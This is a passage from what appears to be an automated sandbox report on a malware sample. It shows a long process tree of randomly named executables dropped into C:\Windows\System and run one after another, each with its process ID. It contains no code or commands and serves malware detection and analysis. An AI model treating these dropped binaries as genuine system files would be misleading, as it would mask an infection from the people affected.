  PID:220
- C:\Windows\System\ofkpEfA.exe
  C:\Windows\System\ofkpEfA.exe
  2⤵
  - Executes dropped EXE
  PID:2400
- C:\Windows\System\eeMgUDv.exe
  C:\Windows\System\eeMgUDv.exe
  2⤵
  - Executes dropped EXE
  PID:2336
- C:\Windows\System\DJySSeV.exe
  C:\Windows\System\DJySSeV.exe
  2⤵
  - Executes dropped EXE
  PID:1756
- C:\Windows\System\abOmgyQ.exe
  C:\Windows\System\abOmgyQ.exe
  2⤵
  - Executes dropped EXE
  PID:4952
- C:\Windows\System\nZmwAic.exe
  C:\Windows\System\nZmwAic.exe
  2⤵
  - Executes dropped EXE
  PID:2964
- C:\Windows\System\aIuGJOk.exe
  C:\Windows\System\aIuGJOk.exe
  2⤵
  - Executes dropped EXE
  PID:1572
- C:\Windows\System\jFhjzVZ.exe
  C:\Windows\System\jFhjzVZ.exe
  2⤵
  - Executes dropped EXE
  PID:3484
- C:\Windows\System\OJPybCV.exe
  C:\Windows\System\OJPybCV.exe
  2⤵
  - Executes dropped EXE
  PID:1156
- C:\Windows\System\oDojxtq.exe
  C:\Windows\System\oDojxtq.exe
  2⤵
  - Executes dropped EXE
  PID:8
- C:\Windows\System\ddeZKOv.exe
  C:\Windows\System\ddeZKOv.exe
  2⤵
  - Executes dropped EXE
  PID:5056
- C:\Windows\System\iLWlSyV.exe
  C:\Windows\System\iLWlSyV.exe
  2⤵
  - Executes dropped EXE
  PID:3684
- C:\Windows\System\ekWrCCF.exe
  C:\Windows\System\ekWrCCF.exe
  2⤵
  - Executes dropped EXE
  PID:4588
- C:\Windows\System\KblssbQ.exe
  C:\Windows\System\KblssbQ.exe
  2⤵
  - Executes dropped EXE
  PID:4332
- C:\Windows\System\dHHLVEf.exe
  C:\Windows\System\dHHLVEf.exe
  2⤵
  - Executes dropped EXE
  PID:2152
- C:\Windows\System\oEMsFYD.exe
  C:\Windows\System\oEMsFYD.exe
  2⤵
  - Executes dropped EXE
  PID:4248
- C:\Windows\System\afpamHn.exe
  C:\Windows\System\afpamHn.exe
  2⤵
  - Executes dropped EXE
  PID:4616
- C:\Windows\System\xIqHFWH.exe
  C:\Windows\System\xIqHFWH.exe
  2⤵
  - Executes dropped EXE
  PID:2432
- C:\Windows\System\RDcOzaC.exe
  C:\Windows\System\RDcOzaC.exe
  2⤵
  - Executes dropped EXE
  PID:3652
- C:\Windows\System\VvEzsVR.exe
  C:\Windows\System\VvEzsVR.exe
  2⤵
  - Executes dropped EXE
  PID:4900
- C:\Windows\System\KqOEvDb.exe
  C:\Windows\System\KqOEvDb.exe
  2⤵
  - Executes dropped EXE
  PID:1796
- C:\Windows\System\FNkIpij.exe
  C:\Windows\System\FNkIpij.exe
  2⤵
  - Executes dropped EXE
  PID:3408
- C:\Windows\System\XPCeWCD.exe
  C:\Windows\System\XPCeWCD.exe
  2⤵
  - Executes dropped EXE
  PID:3968
- C:\Windows\System\TwMxTND.exe
  C:\Windows\System\TwMxTND.exe
  2⤵
  - Executes dropped EXE
  PID:2388
- C:\Windows\System\MXPLDho.exe
  C:\Windows\System\MXPLDho.exe
  2⤵
  - Executes dropped EXE
  PID:4856
- C:\Windows\System\FZGRJuG.exe
  C:\Windows\System\FZGRJuG.exe
  2⤵
  - Executes dropped EXE
  PID:2768
- C:\Windows\System\tICOJWK.exe
  C:\Windows\System\tICOJWK.exe
  2⤵
  - Executes dropped EXE
  PID:2660
- C:\Windows\System\EnXHZQA.exe
  C:\Windows\System\EnXHZQA.exe
  2⤵
  - Executes dropped EXE
  PID:1596
- C:\Windows\System\tQtnCVq.exe
  C:\Windows\System\tQtnCVq.exe
  2⤵
  - Executes dropped EXE
  PID:4252
- C:\Windows\System\ZPoNcEG.exe
  C:\Windows\System\ZPoNcEG.exe
  2⤵
  - Executes dropped EXE
  PID:4540
- C:\Windows\System\kzrwXaw.exe
  C:\Windows\System\kzrwXaw.exe
  2⤵
  - Executes dropped EXE
  PID:4532
- C:\Windows\System\pbTgWZK.exe
  C:\Windows\System\pbTgWZK.exe
  2⤵
  - Executes dropped EXE
  PID:1368
- C:\Windows\System\GRFGsGk.exe
  C:\Windows\System\GRFGsGk.exe
  2⤵
  - Executes dropped EXE
  PID:2384
- C:\Windows\System\uthawEc.exe
  C:\Windows\System\uthawEc.exe
  2⤵
  - Executes dropped EXE
  PID:1012
- C:\Windows\System\KJvLmhq.exe
  C:\Windows\System\KJvLmhq.exe
  2⤵
  - Executes dropped EXE
  PID:4068
- C:\Windows\System\QyvBzKB.exe
  C:\Windows\System\QyvBzKB.exe
  2⤵
  - Executes dropped EXE
  PID:4404
- C:\Windows\System\PksBKfT.exe
  C:\Windows\System\PksBKfT.exe
  2⤵
  - Executes dropped EXE
  PID:1272
- C:\Windows\System\wLGOiaw.exe
  C:\Windows\System\wLGOiaw.exe
  2⤵
  - Executes dropped EXE
  PID:396
- C:\Windows\System\SALlfDB.exe
  C:\Windows\System\SALlfDB.exe
  2⤵
  - Executes dropped EXE
  PID:3772
- C:\Windows\System\uOYAkqq.exe
  C:\Windows\System\uOYAkqq.exe
  2⤵
  - Executes dropped EXE
  PID:3216
- C:\Windows\System\YhOgBPt.exe
  C:\Windows\System\YhOgBPt.exe
  2⤵
  - Executes dropped EXE
  PID:4308
- C:\Windows\System\ZrFCDyE.exe
  C:\Windows\System\ZrFCDyE.exe
  2⤵
  - Executes dropped EXE
  PID:2888
- C:\Windows\System\JODSLNR.exe
  C:\Windows\System\JODSLNR.exe
  2⤵
  - Executes dropped EXE
  PID:920
- C:\Windows\System\DIPwyEc.exe
  C:\Windows\System\DIPwyEc.exe
  2⤵
  - Executes dropped EXE
  PID:1928
- C:\Windows\System\wWhdAoD.exe
  C:\Windows\System\wWhdAoD.exe
  2⤵
  - Executes dropped EXE
  PID:1040
- C:\Windows\System\lILKYCQ.exe
  C:\Windows\System\lILKYCQ.exe
  2⤵
  - Executes dropped EXE
  PID:4564
- C:\Windows\System\tKpNStg.exe
  C:\Windows\System\tKpNStg.exe
  2⤵
  - Executes dropped EXE
  PID:956
- C:\Windows\System\XaLTXut.exe
  C:\Windows\System\XaLTXut.exe
  2⤵
  - Executes dropped EXE
  PID:2640
- C:\Windows\System\xEdKnqb.exe
  C:\Windows\System\xEdKnqb.exe
  2⤵
  - Executes dropped EXE
  PID:4940
- C:\Windows\System\cOKOgyA.exe
  C:\Windows\System\cOKOgyA.exe
  2⤵
  - Executes dropped EXE
  PID:5136
- C:\Windows\System\flJGbPl.exe
  C:\Windows\System\flJGbPl.exe
  2⤵
  - Executes dropped EXE
  PID:5168
- C:\Windows\System\JNFakiD.exe
  C:\Windows\System\JNFakiD.exe
  2⤵
  - Executes dropped EXE
  PID:5196
- C:\Windows\System\TbEMhWI.exe
  C:\Windows\System\TbEMhWI.exe
  2⤵
  - Executes dropped EXE
  PID:5224
- C:\Windows\System\xaiGqZT.exe
  C:\Windows\System\xaiGqZT.exe
  2⤵
  - Executes dropped EXE
  PID:5252
- C:\Windows\System\odNWdYp.exe
  C:\Windows\System\odNWdYp.exe
  2⤵
  - Executes dropped EXE
  PID:5284
- C:\Windows\System\ibXBOmP.exe
  C:\Windows\System\ibXBOmP.exe
  2⤵
  - Executes dropped EXE
  PID:5312
- C:\Windows\System\MrdBaqu.exe
  C:\Windows\System\MrdBaqu.exe
  2⤵
  - Executes dropped EXE
  PID:5348
- C:\Windows\System\bONMgLt.exe
  C:\Windows\System\bONMgLt.exe
  2⤵
  - Executes dropped EXE
  PID:5368
- C:\Windows\System\xCIBQSD.exe
  C:\Windows\System\xCIBQSD.exe
  2⤵
  - Executes dropped EXE
  PID:5396
- C:\Windows\System\FdaPlbQ.exe
  C:\Windows\System\FdaPlbQ.exe
  2⤵
  - Executes dropped EXE
  PID:5424
- C:\Windows\System\ftnKstI.exe
  C:\Windows\System\ftnKstI.exe
  2⤵
  - Executes dropped EXE
  PID:5448
- C:\Windows\System\JyisFts.exe
  C:\Windows\System\JyisFts.exe
  2⤵
  - Executes dropped EXE
  PID:5480
- C:\Windows\System\irICDXP.exe
  C:\Windows\System\irICDXP.exe
  2⤵
  - Executes dropped EXE
  PID:5508
- C:\Windows\System\lSfnuJf.exe
  C:\Windows\System\lSfnuJf.exe
  2⤵
  PID:5540
- C:\Windows\System\ecgQbQm.exe
  C:\Windows\System\ecgQbQm.exe
  2⤵
  PID:5568
- C:\Windows\System\BpMmjeZ.exe
  C:\Windows\System\BpMmjeZ.exe
  2⤵
  PID:5596
- C:\Windows\System\RCIeHYf.exe
  C:\Windows\System\RCIeHYf.exe
  2⤵
  PID:5624
- C:\Windows\System\TeJdfob.exe
  C:\Windows\System\TeJdfob.exe
  2⤵
  PID:5652
- C:\Windows\System\WJeaSZr.exe
  C:\Windows\System\WJeaSZr.exe
  2⤵
  PID:5692
- C:\Windows\System\PGhrFbN.exe
  C:\Windows\System\PGhrFbN.exe
  2⤵
  PID:5724
- C:\Windows\System\insRbpn.exe
  C:\Windows\System\insRbpn.exe
  2⤵
  PID:5752
- C:\Windows\System\nfRXtYJ.exe
  C:\Windows\System\nfRXtYJ.exe
  2⤵
  PID:5788
- C:\Windows\System\uGArekp.exe
  C:\Windows\System\uGArekp.exe
  2⤵
  PID:5812
- C:\Windows\System\TvanzNT.exe
  C:\Windows\System\TvanzNT.exe
  2⤵
  PID:5840
- C:\Windows\System\hppyygh.exe
  C:\Windows\System\hppyygh.exe
  2⤵
  PID:5872
- C:\Windows\System\DVFvAoN.exe
  C:\Windows\System\DVFvAoN.exe
  2⤵
  PID:5900
- C:\Windows\System\JkjUmnT.exe
  C:\Windows\System\JkjUmnT.exe
  2⤵
  PID:5928
- C:\Windows\System\wiYbYQr.exe
  C:\Windows\System\wiYbYQr.exe
  2⤵
  PID:5956
- C:\Windows\System\pWwvSyM.exe
  C:\Windows\System\pWwvSyM.exe
  2⤵
  PID:5992
- C:\Windows\System\KuRACrK.exe
  C:\Windows\System\KuRACrK.exe
  2⤵
  PID:6012
- C:\Windows\System\YXoLofz.exe
  C:\Windows\System\YXoLofz.exe
  2⤵
  PID:6040
- C:\Windows\System\LiemXXl.exe
  C:\Windows\System\LiemXXl.exe
  2⤵
  PID:6064
- C:\Windows\System\JoNcfOb.exe
  C:\Windows\System\JoNcfOb.exe
  2⤵
  PID:6096
- C:\Windows\System\cMxZoud.exe
  C:\Windows\System\cMxZoud.exe
  2⤵
  PID:6128
- C:\Windows\System\VgEykYB.exe
  C:\Windows\System\VgEykYB.exe
  2⤵
  PID:4088
- C:\Windows\System\JyLOHhz.exe
  C:\Windows\System\JyLOHhz.exe
  2⤵
  PID:2180
- C:\Windows\System\HIqdfZu.exe
  C:\Windows\System\HIqdfZu.exe
  2⤵
  PID:2184
- C:\Windows\System\CPDQpTn.exe
  C:\Windows\System\CPDQpTn.exe
  2⤵
  PID:2688
- C:\Windows\System\gvLtvQB.exe
  C:\Windows\System\gvLtvQB.exe
  2⤵
  PID:5160
- C:\Windows\System\ItPHngr.exe
  C:\Windows\System\ItPHngr.exe
  2⤵
  PID:5236
- C:\Windows\System\dnFJanP.exe
  C:\Windows\System\dnFJanP.exe
  2⤵
  PID:5300
- C:\Windows\System\wvxljrE.exe
  C:\Windows\System\wvxljrE.exe
  2⤵
  PID:5360
- C:\Windows\System\tgtTrJf.exe
  C:\Windows\System\tgtTrJf.exe
  2⤵
  PID:5408
- C:\Windows\System\KYtjgnb.exe
  C:\Windows\System\KYtjgnb.exe
  2⤵
  PID:5720
- C:\Windows\System\Czezown.exe
  C:\Windows\System\Czezown.exe
  2⤵
  PID:2484
- C:\Windows\System\kjgmxja.exe
  C:\Windows\System\kjgmxja.exe
  2⤵
  PID:2404
- C:\Windows\System\FdllNhC.exe
  C:\Windows\System\FdllNhC.exe
  2⤵
  PID:2140
- C:\Windows\System\LtwRVat.exe
  C:\Windows\System\LtwRVat.exe
  2⤵
  PID:5940
- C:\Windows\System\NKqKRTS.exe
  C:\Windows\System\NKqKRTS.exe
  2⤵
  PID:6004
- C:\Windows\System\nqrsYkZ.exe
  C:\Windows\System\nqrsYkZ.exe
  2⤵
  PID:3000
- C:\Windows\System\czyDIMh.exe
  C:\Windows\System\czyDIMh.exe
  2⤵
  PID:6120
- C:\Windows\System\SfJYCLq.exe
  C:\Windows\System\SfJYCLq.exe
  2⤵
  PID:4788
- C:\Windows\System\zlsijNZ.exe
  C:\Windows\System\zlsijNZ.exe
  2⤵
  PID:5128
- C:\Windows\System\XvAwRow.exe
  C:\Windows\System\XvAwRow.exe
  2⤵
  PID:2748
- C:\Windows\System\SSQtUGc.exe
  C:\Windows\System\SSQtUGc.exe
  2⤵
  PID:5272
- C:\Windows\System\iLHmEfj.exe
  C:\Windows\System\iLHmEfj.exe
  2⤵
  PID:3860
- C:\Windows\System\HwXlajM.exe
  C:\Windows\System\HwXlajM.exe
  2⤵
  PID:2128
- C:\Windows\System\FcewtYg.exe
  C:\Windows\System\FcewtYg.exe
  2⤵
  PID:4692
- C:\Windows\System\uJCBQJe.exe
  C:\Windows\System\uJCBQJe.exe
  2⤵
  PID:1084
- C:\Windows\System\HrsHgha.exe
  C:\Windows\System\HrsHgha.exe
  2⤵
  PID:4232
- C:\Windows\System\ZQjlTgb.exe
  C:\Windows\System\ZQjlTgb.exe
  2⤵
  PID:5740
- C:\Windows\System\NdSXBOI.exe
  C:\Windows\System\NdSXBOI.exe
  2⤵
  PID:1936
- C:\Windows\System\ESItzto.exe
  C:\Windows\System\ESItzto.exe
  2⤵
  PID:4400
- C:\Windows\System\blKTSmm.exe
  C:\Windows\System\blKTSmm.exe
  2⤵
  PID:4892
- C:\Windows\System\ibgVDBd.exe
  C:\Windows\System\ibgVDBd.exe
  2⤵
  PID:5948
- C:\Windows\System\uefkATt.exe
  C:\Windows\System\uefkATt.exe
  2⤵
  PID:5860
- C:\Windows\System\rdIaTRN.exe
  C:\Windows\System\rdIaTRN.exe
  2⤵
  PID:3552
- C:\Windows\System\nGlHnIN.exe
  C:\Windows\System\nGlHnIN.exe
  2⤵
  PID:4964
- C:\Windows\System\kPNnUuc.exe
  C:\Windows\System\kPNnUuc.exe
  2⤵
  PID:6052
- C:\Windows\System\DYHDXwB.exe
  C:\Windows\System\DYHDXwB.exe
  2⤵
  PID:5156
- C:\Windows\System\iXqXWtk.exe
  C:\Windows\System\iXqXWtk.exe
  2⤵
  PID:5384
- C:\Windows\System\xRslSCw.exe
  C:\Windows\System\xRslSCw.exe
  2⤵
  PID:5344
- C:\Windows\System\PYPjkrK.exe
  C:\Windows\System\PYPjkrK.exe
  2⤵
  PID:4968
- C:\Windows\System\afUbZYE.exe
  C:\Windows\System\afUbZYE.exe
  2⤵
  PID:3640
- C:\Windows\System\wVvxAxD.exe
  C:\Windows\System\wVvxAxD.exe
  2⤵
  PID:4336
- C:\Windows\System\ulNWhqd.exe
  C:\Windows\System\ulNWhqd.exe
  2⤵
  PID:3036
- C:\Windows\System\UCsFPWp.exe
  C:\Windows\System\UCsFPWp.exe
  2⤵
  PID:3636
- C:\Windows\System\gOWftdS.exe
  C:\Windows\System\gOWftdS.exe
  2⤵
  PID:5772
- C:\Windows\System\HuvBFhQ.exe
  C:\Windows\System\HuvBFhQ.exe
  2⤵
  PID:6148
- C:\Windows\System\YWmDpCP.exe
  C:\Windows\System\YWmDpCP.exe
  2⤵
  PID:6168
- C:\Windows\System\TMVDqri.exe
  C:\Windows\System\TMVDqri.exe
  2⤵
  PID:6188
- C:\Windows\System\ICOUjnV.exe
  C:\Windows\System\ICOUjnV.exe
  2⤵
  PID:6208
- C:\Windows\System\zEboNkJ.exe
  C:\Windows\System\zEboNkJ.exe
  2⤵
  PID:6236
- C:\Windows\System\CEJkEyQ.exe
  C:\Windows\System\CEJkEyQ.exe
  2⤵
  PID:6284
- C:\Windows\System\gJQIgaP.exe
  C:\Windows\System\gJQIgaP.exe
  2⤵
  PID:6304
- C:\Windows\System\mWBqInx.exe
  C:\Windows\System\mWBqInx.exe
  2⤵
  PID:6320
- C:\Windows\System\qTAUZjy.exe
  C:\Windows\System\qTAUZjy.exe
  2⤵
  PID:6368
- C:\Windows\System\DyeXkLs.exe
  C:\Windows\System\DyeXkLs.exe
  2⤵
  PID:6384
- C:\Windows\System\ttikIOd.exe
  C:\Windows\System\ttikIOd.exe
  2⤵
  PID:6408
- C:\Windows\System\xbgwuvi.exe
  C:\Windows\System\xbgwuvi.exe
  2⤵
  PID:6444
- C:\Windows\System\dZkktYP.exe
  C:\Windows\System\dZkktYP.exe
  2⤵
  PID:6464
- C:\Windows\System\OpcFBwI.exe
  C:\Windows\System\OpcFBwI.exe
  2⤵
  PID:6484
- C:\Windows\System\zAccfuG.exe
  C:\Windows\System\zAccfuG.exe
  2⤵
  PID:6512
- C:\Windows\System\EJehoIA.exe
  C:\Windows\System\EJehoIA.exe
  2⤵
  PID:6528
- C:\Windows\System\YnnIaMF.exe
  C:\Windows\System\YnnIaMF.exe
  2⤵
  PID:6548
- C:\Windows\System\bbZlHqM.exe
  C:\Windows\System\bbZlHqM.exe
  2⤵
  PID:6580
- C:\Windows\System\LfmkoGC.exe
  C:\Windows\System\LfmkoGC.exe
  2⤵
  PID:6608
- C:\Windows\System\LRcHsEh.exe
  C:\Windows\System\LRcHsEh.exe
  2⤵
  PID:6660
- C:\Windows\System\oCvCWYx.exe
  C:\Windows\System\oCvCWYx.exe
  2⤵
  PID:6692
- C:\Windows\System\QFuROMC.exe
  C:\Windows\System\QFuROMC.exe
  2⤵
  PID:6712
- C:\Windows\System\ELNQIeF.exe
  C:\Windows\System\ELNQIeF.exe
  2⤵
  PID:6768
- C:\Windows\System\tGntJpW.exe
  C:\Windows\System\tGntJpW.exe
  2⤵
  PID:6828
- C:\Windows\System\umGrXAd.exe
  C:\Windows\System\umGrXAd.exe
  2⤵
  PID:6848
- C:\Windows\System\xXvMJvF.exe
  C:\Windows\System\xXvMJvF.exe
  2⤵
  PID:6884
- C:\Windows\System\RAQuoEz.exe
  C:\Windows\System\RAQuoEz.exe
  2⤵
  PID:6932
- C:\Windows\System\eWWWAuA.exe
  C:\Windows\System\eWWWAuA.exe
  2⤵
  PID:6980
- C:\Windows\System\kuNGewA.exe
  C:\Windows\System\kuNGewA.exe
  2⤵
  PID:7004
- C:\Windows\System\jbzKEuv.exe
  C:\Windows\System\jbzKEuv.exe
  2⤵
  PID:7028
- C:\Windows\System\yWrWkXj.exe
  C:\Windows\System\yWrWkXj.exe
  2⤵
  PID:7048
- C:\Windows\System\KTVzoMU.exe
  C:\Windows\System\KTVzoMU.exe
  2⤵
  PID:7068
- C:\Windows\System\rlQUBYZ.exe
  C:\Windows\System\rlQUBYZ.exe
  2⤵
  PID:7084
- C:\Windows\System\qkOcZtv.exe
  C:\Windows\System\qkOcZtv.exe
  2⤵
  PID:7108
- C:\Windows\System\GspYGQY.exe
  C:\Windows\System\GspYGQY.exe
  2⤵
  PID:7140
- C:\Windows\System\XaiXdTy.exe
  C:\Windows\System\XaiXdTy.exe
  2⤵
  PID:452
- C:\Windows\System\USVuIJa.exe
  C:\Windows\System\USVuIJa.exe
  2⤵
  PID:6160
- C:\Windows\System\DHFcguW.exe
  C:\Windows\System\DHFcguW.exe
  2⤵
  PID:6292
- C:\Windows\System\xUgvpUh.exe
  C:\Windows\System\xUgvpUh.exe
  2⤵
  PID:6356
- C:\Windows\System\AlNlHKg.exe
  C:\Windows\System\AlNlHKg.exe
  2⤵
  PID:6436
- C:\Windows\System\WmNeqhP.exe
  C:\Windows\System\WmNeqhP.exe
  2⤵
  PID:6476
- C:\Windows\System\xeZjlhn.exe
  C:\Windows\System\xeZjlhn.exe
  2⤵
  PID:6536
- C:\Windows\System\ojwLfcK.exe
  C:\Windows\System\ojwLfcK.exe
  2⤵
  PID:6572
- C:\Windows\System\MzjDlKC.exe
  C:\Windows\System\MzjDlKC.exe
  2⤵
  PID:6668
- C:\Windows\System\vtAgxVs.exe
  C:\Windows\System\vtAgxVs.exe
  2⤵
  PID:6764
- C:\Windows\System\wQaqajG.exe
  C:\Windows\System\wQaqajG.exe
  2⤵
  PID:6916
- C:\Windows\System\ZpYakhU.exe
  C:\Windows\System\ZpYakhU.exe
  2⤵
  PID:6940
- C:\Windows\System\WdNecNB.exe
  C:\Windows\System\WdNecNB.exe
  2⤵
  PID:5556
- C:\Windows\System\pTxknlW.exe
  C:\Windows\System\pTxknlW.exe
  2⤵
  PID:7064
- C:\Windows\System\TEEcZPh.exe
  C:\Windows\System\TEEcZPh.exe
  2⤵
  PID:7104
- C:\Windows\System\VfveKCk.exe
  C:\Windows\System\VfveKCk.exe
  2⤵
  PID:7148
- C:\Windows\System\Mjwbvuw.exe
  C:\Windows\System\Mjwbvuw.exe
  2⤵
  PID:6428
- C:\Windows\System\NQpjOTQ.exe
  C:\Windows\System\NQpjOTQ.exe
  2⤵
  PID:6508
- C:\Windows\System\AfoxRqB.exe
  C:\Windows\System\AfoxRqB.exe
  2⤵
  PID:6652
- C:\Windows\System\XMrAnJE.exe
  C:\Windows\System\XMrAnJE.exe
  2⤵
  PID:6732
- C:\Windows\System\wurDFlV.exe
  C:\Windows\System\wurDFlV.exe
  2⤵
  PID:6904
- C:\Windows\System\yCDNSGY.exe
  C:\Windows\System\yCDNSGY.exe
  2⤵
  PID:7040
- C:\Windows\System\dHBPwlw.exe
  C:\Windows\System\dHBPwlw.exe
  2⤵
  PID:6300
- C:\Windows\System\pbTXhzn.exe
  C:\Windows\System\pbTXhzn.exe
  2⤵
  PID:6524
- C:\Windows\System\hsAqxWg.exe
  C:\Windows\System\hsAqxWg.exe
  2⤵
  PID:7100
- C:\Windows\System\BpcqOXl.exe
  C:\Windows\System\BpcqOXl.exe
  2⤵
  PID:6576
- C:\Windows\System\mAlyOuo.exe
  C:\Windows\System\mAlyOuo.exe
  2⤵
  PID:7044
- C:\Windows\System\XBDMPeb.exe
  C:\Windows\System\XBDMPeb.exe
  2⤵
  PID:7172
- C:\Windows\System\qvlZqoo.exe
  C:\Windows\System\qvlZqoo.exe
  2⤵
  PID:7192
- C:\Windows\System\VoxPXvj.exe
  C:\Windows\System\VoxPXvj.exe
  2⤵
  PID:7240
- C:\Windows\System\IHzNYPl.exe
  C:\Windows\System\IHzNYPl.exe
  2⤵
  PID:7260
- C:\Windows\System\offtwGH.exe
  C:\Windows\System\offtwGH.exe
  2⤵
  PID:7292
- C:\Windows\System\rybsUSs.exe
  C:\Windows\System\rybsUSs.exe
  2⤵
  PID:7312
- C:\Windows\System\mAwApWt.exe
  C:\Windows\System\mAwApWt.exe
  2⤵
  PID:7336
- C:\Windows\System\RsGnBpt.exe
  C:\Windows\System\RsGnBpt.exe
  2⤵
  PID:7364
- C:\Windows\System\LCfzEQU.exe
  C:\Windows\System\LCfzEQU.exe
  2⤵
  PID:7380
- C:\Windows\System\gnvaZcP.exe
  C:\Windows\System\gnvaZcP.exe
  2⤵
  PID:7408
- C:\Windows\System\JHuFYfH.exe
  C:\Windows\System\JHuFYfH.exe
  2⤵
  PID:7436
- C:\Windows\System\tZkQoKW.exe
  C:\Windows\System\tZkQoKW.exe
  2⤵
  PID:7472
- C:\Windows\System\UHPZznQ.exe
  C:\Windows\System\UHPZznQ.exe
  2⤵
  PID:7492
- C:\Windows\System\VTdafIA.exe
  C:\Windows\System\VTdafIA.exe
  2⤵
  PID:7512
- C:\Windows\System\sEqqBnr.exe
  C:\Windows\System\sEqqBnr.exe
  2⤵
  PID:7536
- C:\Windows\System\nSIRYIE.exe
  C:\Windows\System\nSIRYIE.exe
  2⤵
  PID:7556
- C:\Windows\System\HxjggfA.exe
  C:\Windows\System\HxjggfA.exe
  2⤵
  PID:7588
- C:\Windows\System\ZJDdcpJ.exe
  C:\Windows\System\ZJDdcpJ.exe
  2⤵
  PID:7608
- C:\Windows\System\GSztIfn.exe
  C:\Windows\System\GSztIfn.exe
  2⤵
  PID:7624
- C:\Windows\System\MQHRPuT.exe
  C:\Windows\System\MQHRPuT.exe
  2⤵
  PID:7648
- C:\Windows\System\ibIyHko.exe
  C:\Windows\System\ibIyHko.exe
  2⤵
  PID:7700
- C:\Windows\System\lGeKvgm.exe
  C:\Windows\System\lGeKvgm.exe
  2⤵
  PID:7728
- C:\Windows\System\HdqvqIn.exe
  C:\Windows\System\HdqvqIn.exe
  2⤵
  PID:7744
- C:\Windows\System\rEJDbWv.exe
  C:\Windows\System\rEJDbWv.exe
  2⤵
  PID:7816
- C:\Windows\System\DmbTRUJ.exe
  C:\Windows\System\DmbTRUJ.exe
  2⤵
  PID:7852
- C:\Windows\System\MPzEvJk.exe
  C:\Windows\System\MPzEvJk.exe
  2⤵
  PID:7880
- C:\Windows\System\hNAFGqD.exe
  C:\Windows\System\hNAFGqD.exe
  2⤵
  PID:7904
- C:\Windows\System\owtWbbz.exe
  C:\Windows\System\owtWbbz.exe
  2⤵
  PID:7924
- C:\Windows\System\IaAJQYW.exe
  C:\Windows\System\IaAJQYW.exe
  2⤵
  PID:7964
- C:\Windows\System\RgiQeHV.exe
  C:\Windows\System\RgiQeHV.exe
  2⤵
  PID:7980
- C:\Windows\System\bNSivWy.exe
  C:\Windows\System\bNSivWy.exe
  2⤵
  PID:8008
- C:\Windows\System\PvdLzni.exe
  C:\Windows\System\PvdLzni.exe
  2⤵
  PID:8024
- C:\Windows\System\YnDBEPI.exe
  C:\Windows\System\YnDBEPI.exe
  2⤵
  PID:8052
- C:\Windows\System\BtjiClp.exe
  C:\Windows\System\BtjiClp.exe
  2⤵
  PID:8072
- C:\Windows\System\CrtsMFM.exe
  C:\Windows\System\CrtsMFM.exe
  2⤵
  PID:8104
- C:\Windows\System\XSKAJNZ.exe
  C:\Windows\System\XSKAJNZ.exe
  2⤵
  PID:8140
- C:\Windows\System\cPpEEYY.exe
  C:\Windows\System\cPpEEYY.exe
  2⤵
  PID:8156
- C:\Windows\System\pxofxcT.exe
  C:\Windows\System\pxofxcT.exe
  2⤵
  PID:5564
- C:\Windows\System\zvUrBgF.exe
  C:\Windows\System\zvUrBgF.exe
  2⤵
  PID:5644
- C:\Windows\System\QVWKnZt.exe
  C:\Windows\System\QVWKnZt.exe
  2⤵
  PID:7308
- C:\Windows\System\ayGsQgq.exe
  C:\Windows\System\ayGsQgq.exe
  2⤵
  PID:7372
- C:\Windows\System\MoXRLTX.exe
  C:\Windows\System\MoXRLTX.exe
  2⤵
  PID:7416
- C:\Windows\System\ThlLxKW.exe
  C:\Windows\System\ThlLxKW.exe
  2⤵
  PID:7456
- C:\Windows\System\GoZjJdD.exe
  C:\Windows\System\GoZjJdD.exe
  2⤵
  PID:7484
- C:\Windows\System\dTlDhti.exe
  C:\Windows\System\dTlDhti.exe
  2⤵
  PID:7620
- C:\Windows\System\VxALMds.exe
  C:\Windows\System\VxALMds.exe
  2⤵
  PID:7640
- C:\Windows\System\EmyBskQ.exe
  C:\Windows\System\EmyBskQ.exe
  2⤵
  PID:7756
- C:\Windows\System\pZhzyYV.exe
  C:\Windows\System\pZhzyYV.exe
  2⤵
  PID:7808
- C:\Windows\System\LekatGU.exe
  C:\Windows\System\LekatGU.exe
  2⤵
  PID:7872
- C:\Windows\System\MStCpDB.exe
  C:\Windows\System\MStCpDB.exe
  2⤵
  PID:7876
- C:\Windows\System\DsRPCis.exe
  C:\Windows\System\DsRPCis.exe
  2⤵
  PID:7956
- C:\Windows\System\mepyrpd.exe
  C:\Windows\System\mepyrpd.exe
  2⤵
  PID:8044
- C:\Windows\System\fXUhBGZ.exe
  C:\Windows\System\fXUhBGZ.exe
  2⤵
  PID:8064
- C:\Windows\System\RiPZiWP.exe
  C:\Windows\System\RiPZiWP.exe
  2⤵
  PID:8148
- C:\Windows\System\kUeajIe.exe
  C:\Windows\System\kUeajIe.exe
  2⤵
  PID:7212
- C:\Windows\System\NZomsDI.exe
  C:\Windows\System\NZomsDI.exe
  2⤵
  PID:7352
- C:\Windows\System\GMwBlyU.exe
  C:\Windows\System\GMwBlyU.exe
  2⤵
  PID:7572
- C:\Windows\System\IBgZVpc.exe
  C:\Windows\System\IBgZVpc.exe
  2⤵
  PID:7712
- C:\Windows\System\kEOPNgb.exe
  C:\Windows\System\kEOPNgb.exe
  2⤵
  PID:7900
- C:\Windows\System\qQcJxKt.exe
  C:\Windows\System\qQcJxKt.exe
  2⤵
  PID:7976
- C:\Windows\System\ynLFomL.exe
  C:\Windows\System\ynLFomL.exe
  2⤵
  PID:7188
- C:\Windows\System\BcfiAtN.exe
  C:\Windows\System\BcfiAtN.exe
  2⤵
  PID:7660
- C:\Windows\System\iyFVVBh.exe
  C:\Windows\System\iyFVVBh.exe
  2⤵
  PID:7832
- C:\Windows\System\aZmNFpJ.exe
  C:\Windows\System\aZmNFpJ.exe
  2⤵
  PID:7864
- C:\Windows\System\rugIqXW.exe
  C:\Windows\System\rugIqXW.exe
  2⤵
  PID:7328
- C:\Windows\System\hRVxEeZ.exe
  C:\Windows\System\hRVxEeZ.exe
  2⤵
  PID:5500
- C:\Windows\System\tMqsMuv.exe
  C:\Windows\System\tMqsMuv.exe
  2⤵
  PID:8204
- C:\Windows\System\NeHqOSw.exe
  C:\Windows\System\NeHqOSw.exe
  2⤵
  PID:8228
- C:\Windows\System\JWxGzUX.exe
  C:\Windows\System\JWxGzUX.exe
  2⤵
  PID:8256
- C:\Windows\System\MgqHnbT.exe
  C:\Windows\System\MgqHnbT.exe
  2⤵
  PID:8280
- C:\Windows\System\CBdDfPr.exe
  C:\Windows\System\CBdDfPr.exe
  2⤵
  PID:8328
- C:\Windows\System\gAfBjLe.exe
  C:\Windows\System\gAfBjLe.exe
  2⤵
  PID:8360
- C:\Windows\System\hmUmVCJ.exe
  C:\Windows\System\hmUmVCJ.exe
  2⤵
  PID:8380
